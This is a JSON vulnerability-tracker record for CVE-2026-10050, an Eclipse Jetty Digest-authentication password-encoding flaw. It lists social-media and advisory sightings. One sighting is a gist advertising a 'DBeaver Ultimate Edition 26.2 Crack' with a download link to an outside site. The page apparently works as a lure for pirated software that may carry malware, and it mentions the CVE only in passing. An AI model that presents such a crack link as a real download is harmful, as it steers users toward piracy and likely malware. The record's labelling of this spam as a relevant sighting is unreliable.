{"vulnerability": "cve-2026-10050", "sightings": [{"uuid": "496d64c9-8db6-471b-b3dc-4e965f4044dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-10050", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msmm66wcux2o", "content": "\ud83d\udccc CVE-2026-10050 - In Eclipse Jetty, the Digest authentication server-side component uses ISO-8859-1 to encode the password as bytes.\n\n\n\nThis was done because the initia... https://www.cyberhub.blog/cves/CVE-2026-10050", "creation_timestamp": "2026-08-09T03:07:07.252728Z"}, {"uuid": "8156ca16-ab82-4ec4-8f61-bf7224fbcb63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-10050", "type": "published-proof-of-concept", "source": "https://github.com/jetty/jetty.project/security/advisories/GHSA-2fvj-hgj9-j2gr", "content": "", "creation_timestamp": "2026-07-23T00:35:03.073154Z"}, {"uuid": "59c52f44-d498-495e-a0c2-59130f41dbe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-10050", "type": "seen", "source": "https://gist.github.com/jnfndjaa1f/73eb96a0bc75e880c6d9376601b81e4a", "content": "## DBeaver Ultimate Edition 26.2 Crack [Download For PC]\n\n**DBeaver Ultimate Edition 26.2** is the top-tier commercial database administration IDE and SQL client from DBeaver Corporation.\n\nSitting above both DBeaver Community and DBeaver PRO (PRO / Lite), the Ultimate Edition builds on enterprise database support by integrating cloud data warehouse drivers, local file-based database execution, Model Context Protocol (MCP) tool integration, and cross-database querying engines.\n\n---\n\n## [$$Get Link Setup](https://yasdll.site/)\n\n## Core Capabilities & New Features in 26.2\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                 DBeaver Ultimate Edition 26.2               \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2518\n       \u2502                  \u2502                  \u2502           \u2502\n       \u25bc                  \u25bc                  \u25bc           \u25bc\n[ Cross-DB Engine ] [ AI Chat & MCP ]  [ Cloud / Warehouses ] [ Security & Vaults ]\n \u2022 Multi-Source     \u2022 Grok, Claude,    \u2022 Snowflake, Redshift \u2022 GCP Secret Manager\n \u2022 Calcite Core       OpenAI, Copilot  \u2022 BigQuery, Databricks \u2022 Azure Key Vault\n \u2022 Federated Joins  \u2022 Interactive Q&A  \u2022 Cloud Storage Files \u2022 AWS Secrets / Vault\n\n```\n\n### 1. Cross-Database Querying & Multi-Source Engine\n\n* **Federated Queries:** Execute SQL queries that join tables across completely different database engines (e.g., joining PostgreSQL subscription data directly with MS SQL Server CRM tables) via a single unified connection interface.\n* **Calcite Driver Core:** Built on Apache Calcite to manage query translation, optimization, and cross-source memory execution automatically.\n\n### 2. Next-Gen AI Assistant & MCP Integration\n\n* **Model Context Protocol (MCP):** Connect external AI MCP servers and tools directly into the DBeaver AI assistant to extend workflow capabilities.\n* **Expanded LLM Engines:** Added native support for xAI Grok, Anthropic Claude (with custom API URL routing), Azure OpenAI, AWS Bedrock, and GitHub Copilot.\n* **Interactive AI Chat:** AI Chat features interactive clarifying actions, allowing the LLM to ask clarifying questions before executing complex SQL transformations.\n* **Direct File Attachments:** Attach CSV, JSON, Parquet, and XLSX files directly into AI Chat sessions to treat them as instant queryable tables.\n\n### 3. Native Cloud & Big Data Support\n\n* **Cloud Data Warehouses:** Native JDBC drivers and connection templates for Snowflake, Google BigQuery, Amazon Redshift, Apache Cassandra, ClickHouse, and Databricks.\n* **Direct Cloud File Querying:** Open, inspect, and run complex SQL queries against raw Parquet, JSON, and XML files stored in AWS S3 or Google Cloud Storage without pre-loading them into an RDBMS.\n\n### 4. Secret Management & Enterprise Security\n\n* **Vault Integrations:** Native integration with Google Cloud Secret Manager, Azure Key Vault, HashiCorp Vault, and AWS Secrets Manager to pull connection credentials dynamically at runtime.\n* **Compliance Hardening:** Patched vulnerabilities (including CVE-2026-10050 and CWE-611 XML unhardened parsers) and added OIDC authentication for NoSQL engines like MongoDB.\n\n---\n\n## Technical Specifications (PC)\n\n| Feature / Dimension | Specification |\n| --- | --- |\n| **Supported OS** | Windows 10 / 11 (64-bit), Windows Server 2016+ |\n| **System Memory (RAM)** | Minimum 2 GB (4 GB+ recommended for large query result grids) |\n| **Base Framework** | Built on Eclipse 2025-06 framework with embedded OpenJDK runtime |\n| **Cloud Storage Connectors** | AWS S3, Google Cloud Storage, Azure Blob Storage |\n| **Licensing** | Commercial License (Subscription or Perpetual with maintenance) |\n\n---\n\n## DBeaver Edition Hierarchy\n\n| Capability | Community | PRO / Lite | Ultimate Edition 26.2 |\n| --- | --- | --- | --- |\n| **Relational DBs (Postgres, MySQL, etc.)** | Yes | Yes | Yes |\n| **NoSQL & Cloud Data Warehouses** | No | Yes | Yes |\n| **Cloud File Drivers (Parquet, S3, JSON)** | No | No | **Yes** |\n| **Cross-Database Multi-Source Query Engine** | No | No | **Yes** |\n| **AI Assistant with MCP Server Support** | Basic | Standard | **Full MCP + Multi-Engine** |\n\n---\n\n## Primary Use Cases\n\n* **Cross-Cloud Data Integration:** Data engineers querying structured tables in Snowflake alongside raw Parquet files residing in AWS S3 within one editor workspace.\n* **Enterprise Security Compliance:** DBAs needing automated database credential rotations using cloud secret stores (Azure Key Vault / GCP Secret Manager) to keep plaintext passwords off local developer PCs.\n* **AI-Assisted Database Development:** Teams leveraging specialized LLMs or local MCP servers to auto-generate complex federated SQL queries.", "creation_timestamp": "2026-09-19T18:09:28.591988Z"}]}